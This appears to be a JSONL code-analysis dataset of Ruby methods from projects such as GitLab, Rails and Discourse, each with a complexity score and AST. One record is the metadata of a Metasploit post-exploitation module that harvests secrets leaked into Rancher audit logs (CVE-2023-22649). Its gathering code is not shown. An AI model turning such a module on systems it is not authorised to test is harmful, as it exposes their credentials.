{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/diff_file_base_entity.rb","start_line":117,"raw_source":"def memoized_submodule_links(diff_file, options)\n    strong_memoize(:submodule_links) do\n      next unless diff_file.submodule?\n\n      options[:submodule_links]&.for(diff_file.blob, diff_file.content_sha, diff_file)\n    end\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"memoized_submodule_links\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff_file\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"submodule_links\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file\"]},\"submodule?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"submodule_links\"]}]},\"for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file\"]},\"blob\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file\"]},\"content_sha\"]},{\"type\":\"lvar\",\"children\":[\"diff_file\"]}]}]}]}]}","id":"1ea4db2f-001b-41a3-9ef9-ded5e4387384"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/staff_action_logger.rb","start_line":680,"raw_source":"def log_disable_second_factor_auth(user, opts = {})\n    raise Discourse::InvalidParameters.new(:user) unless user\n    UserHistory.create!(\n      params(opts).merge(\n        action: UserHistory.actions[:disabled_second_factor],\n        target_user_id: user.id,\n      ),\n    )\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log_disable_second_factor_auth\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"disabled_second_factor\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]}]}]}","id":"6a5c10b4-0b4e-4b6e-950e-7fa96e4aaca6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/rancher_audit_log_leak.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Rancher Audit Log Sensitive Information Leak',\n        'Description' => %q{\n          Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive\n          contain a vulnerability where sensitive data is leaked into the audit logs.\n          Rancher Audit Logging is an opt-in feature, only deployments that have it\n          enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.\n\n          Tested against rancher 2.6.0.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'h00die', # msf module\n        ],\n        'Platform' => ['linux', 'unix'],\n        'SessionTypes' => ['shell', 'meterpreter'],\n        'References' => [\n          [ 'URL', 'https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr'],\n          [ 'URL', 'https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options'],\n          [ 'CVE', '2023-22649']\n        ],\n        'DisclosureDate' => '2024-02-08',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [],\n          'SideEffects' => []\n        }\n      )\n    )\n    register_advanced_options [\n      OptString.new('LOGFILE', [ true, 'The log file to analyze', '/var/log/auditlog/rancher-api-audit.log' ])\n    ]\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Rancher Audit Log Sensitive Information Leak\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive\\n\"]},{\"type\":\"str\",\"children\":[\"          contain a vulnerability where sensitive data is leaked into the audit logs.\\n\"]},{\"type\":\"str\",\"children\":[\"          Rancher Audit Logging is an opt-in feature, only deployments that have it\\n\"]},{\"type\":\"str\",\"children\":[\"          enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Tested against rancher 2.6.0.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-22649\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-02-08\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"LOGFILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The log file to analyze\"]},{\"type\":\"str\",\"children\":[\"/var/log/auditlog/rancher-api-audit.log\"]}]}]}]}]}]}]}","id":"29c4cc3e-fcf3-4ad4-b252-690258e3dab0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb","start_line":404,"raw_source":"def change_column(table_name, column_name, type, **options) # :nodoc:\n        execute(\"ALTER TABLE #{quote_table_name(table_name)} #{change_column_for_alter(table_name, column_name, type, **options)}\")\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change_column\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"column_name\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ALTER TABLE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_column_for_alter\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]}]}","id":"d28a72a9-88b7-40e8-bf43-370d8edd8665"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_adapters/schema_cache_test.rb","start_line":454,"raw_source":"def deduplicable_classes\n          klasses = [\n            ActiveRecord::ConnectionAdapters::SqlTypeMetadata,\n            ActiveRecord::ConnectionAdapters::Column,\n          ]\n\n          if defined?(ActiveRecord::ConnectionAdapters::PostgreSQL)\n            klasses << ActiveRecord::ConnectionAdapters::PostgreSQL::TypeMetadata\n          end\n          if defined?(ActiveRecord::ConnectionAdapters::MySQL::TypeMetadata)\n            klasses << ActiveRecord::ConnectionAdapters::MySQL::TypeMetadata\n          end\n\n          klasses.flat_map do |klass|\n            [klass] + klass.descendants\n          end.uniq\n        end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"deduplicable_classes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klasses\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"SqlTypeMetadata\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"Column\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"PostgreSQL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klasses\"]},\"<<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"PostgreSQL\"]},\"TypeMetadata\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"MySQL\"]},\"TypeMetadata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klasses\"]},\"<<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"MySQL\"]},\"TypeMetadata\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klasses\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"descendants\"]}]}]},\"uniq\"]}]}]}","id":"6b8c8859-d6dd-4a1d-ac54-f868c8eb7f71"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/file_depot_mixin.rb","start_line":128,"raw_source":"def depot_root\n    with_depot do\n      mnt.mnt_point\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"depot_root\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_depot\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mnt\"]},\"mnt_point\"]}]}]}","id":"687b3f1e-3518-4c43-84fc-f889451d3c03"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/jira.rb","start_line":369,"raw_source":"def close_issue(entity, external_issue, current_user)\n      issue = find_issue(external_issue.iid, transitions: jira_issue_transition_automatic)\n\n      return if issue.nil? || has_resolution?(issue) || !issue_transition_enabled?\n\n      commit_id = case entity\n                  when Commit then entity.id\n                  when MergeRequest then entity.diff_head_sha\n                  end\n\n      commit_url = build_entity_url(:commit, commit_id)\n\n      # Depending on the Jira project's workflow, a comment during transition\n      # may or may not be allowed. Refresh the issue after transition and check\n      # if it is closed, so we don't have one comment for every commit.\n      issue = find_issue(issue.key) if transition_issue(issue)\n      add_issue_solved_comment(issue, commit_id, commit_url) if has_resolution?(issue)\n      log_usage(:close_issue, current_user)\n    end","complexity_score":30.6,"ast_json":"{\"type\":\"def\",\"children\":[\"close_issue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entity\"]},{\"type\":\"arg\",\"children\":[\"external_issue\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"issue\",{\"type\":\"send\",\"children\":[null,\"find_issue\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"external_issue\"]},\"iid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"transitions\"]},{\"type\":\"send\",\"children\":[null,\"jira_issue_transition_automatic\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"has_resolution?\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue_transition_enabled?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"commit_id\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Commit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"id\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"diff_head_sha\"]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"commit_url\",{\"type\":\"send\",\"children\":[null,\"build_entity_url\",{\"type\":\"sym\",\"children\":[\"commit\"]},{\"type\":\"lvar\",\"children\":[\"commit_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transition_issue\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"lvasgn\",\"children\":[\"issue\",{\"type\":\"send\",\"children\":[null,\"find_issue\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"key\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_resolution?\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"send\",\"children\":[null,\"add_issue_solved_comment\",{\"type\":\"lvar\",\"children\":[\"issue\"]},{\"type\":\"lvar\",\"children\":[\"commit_id\"]},{\"type\":\"lvar\",\"children\":[\"commit_url\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"log_usage\",{\"type\":\"sym\",\"children\":[\"close_issue\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}","id":"ef8e416e-6af7-4ee8-9828-2cd7a9e16491"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_expression/field.rb","start_line":64,"raw_source":"def sub_type\n    MiqReport::Formats.sub_type(column.to_sym) || column_type\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sub_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqReport\"]},\"Formats\"]},\"sub_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column\"]},\"to_sym\"]}]},{\"type\":\"send\",\"children\":[null,\"column_type\"]}]}]}","id":"458cf6bd-25fb-417d-ad11-7495b1ab4039"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/cleanup/project_namespace_service.rb","start_line":21,"raw_source":"def delete_project_namespaces_in_batches\n        kubernetes_namespaces_batch = cluster.kubernetes_namespaces.first(KUBERNETES_NAMESPACE_BATCH_SIZE)\n\n        kubernetes_namespaces_batch.each do |kubernetes_namespace|\n          log_event(:deleting_project_namespace, namespace: kubernetes_namespace.namespace)\n\n          begin\n            kubeclient_delete_namespace(kubernetes_namespace)\n          rescue Kubeclient::HttpError => e\n            # unauthorized, forbidden: GitLab's access has been revoked\n            # certificate verify failed: Cluster is probably gone forever\n            raise unless /unauthorized|forbidden|certificate verify failed/i.match?(e.message)\n          end\n\n          kubernetes_namespace.destroy!\n        end\n      end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_project_namespaces_in_batches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"kubernetes_namespaces_batch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster\"]},\"kubernetes_namespaces\"]},\"first\",{\"type\":\"const\",\"children\":[null,\"KUBERNETES_NAMESPACE_BATCH_SIZE\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kubernetes_namespaces_batch\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"kubernetes_namespace\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_event\",{\"type\":\"sym\",\"children\":[\"deleting_project_namespace\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kubernetes_namespace\"]},\"namespace\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kubeclient_delete_namespace\",{\"type\":\"lvar\",\"children\":[\"kubernetes_namespace\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kubeclient\"]},\"HttpError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"unauthorized|forbidden|certificate verify failed\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kubernetes_namespace\"]},\"destroy!\"]}]}]}]}]}","id":"5c9eee52-852e-4cd1-98b3-cb5e0933d915"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/haml-spec/ugly_test.rb","start_line":491,"raw_source":"def test_html_style_tag_with_id_as_an_attribute\n      haml    = %q{%p(id='1')}\n      html    = %q{<p id='1'></p>}\n      locals  = {}\n      options = {}\n      haml_result = UglyTest.haml_result(haml, options, locals)\n      assert_equal html, haml_result\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_html_style_tag_with_id_as_an_attribute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"haml\",{\"type\":\"str\",\"children\":[\"%p(id='1')\"]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"str\",\"children\":[\"<p id='1'></p>\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"haml_result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UglyTest\"]},\"haml_result\",{\"type\":\"lvar\",\"children\":[\"haml\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"lvar\",\"children\":[\"haml_result\"]}]}]}]}","id":"52a76794-50ed-4825-8e24-46a264409ca2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/exports/pdf_export/report.rb","start_line":68,"raw_source":"def selects\n      query.selects.reject { |s| s.is_a?(Queries::Selects::NotExistingSelect) }\n    end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"selects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"selects\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queries\"]},\"Selects\"]},\"NotExistingSelect\"]}]}]}]}","id":"be72e464-7945-4bc4-bc90-cbfea16cedb2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/project_helpers.rb","start_line":19,"raw_source":"def grace_months_after_deletion_notification\n    (::Gitlab::CurrentSettings.inactive_projects_delete_after_months -\n      ::Gitlab::CurrentSettings.inactive_projects_send_warning_email_after_months).months\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"grace_months_after_deletion_notification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"CurrentSettings\"]},\"inactive_projects_delete_after_months\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"CurrentSettings\"]},\"inactive_projects_send_warning_email_after_months\"]}]}]},\"months\"]}]}","id":"64a92830-6dfd-46bd-9843-40fd66cbb9bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":293,"raw_source":"def rm_branch(user, branch_name, target_sha: nil)\n    before_remove_branch\n\n    raw_repository.rm_branch(branch_name, user: user, target_sha: target_sha)\n\n    after_remove_branch\n    true\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rm_branch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"branch_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"target_sha\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_remove_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_repository\"]},\"rm_branch\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_sha\"]},{\"type\":\"lvar\",\"children\":[\"target_sha\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"after_remove_branch\"]},{\"type\":\"true\",\"children\":[]}]}]}","id":"6af51ec4-39f6-41a3-ba79-75e41f223064"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/messages/show.rb","start_line":45,"raw_source":"def expect_content(content)\n      expect(page).to have_css(\".forum-message .wiki\", text: content)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".forum-message .wiki\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}]}","id":"3ec49733-1f5a-4d97-9e83-31beb9bbf7e5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":873,"raw_source":"def test_belongs_to_with_touch_option_on_empty_update\n    line_item = LineItem.create!\n    Invoice.create!(line_items: [line_item])\n\n    assert_no_queries { line_item.save }\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_belongs_to_with_touch_option_on_empty_update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line_item\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LineItem\"]},\"create!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Invoice\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_items\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_item\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_item\"]},\"save\"]}]}]}]}","id":"c4213b67-4769-41f3-8bf2-44b5222a0124"}
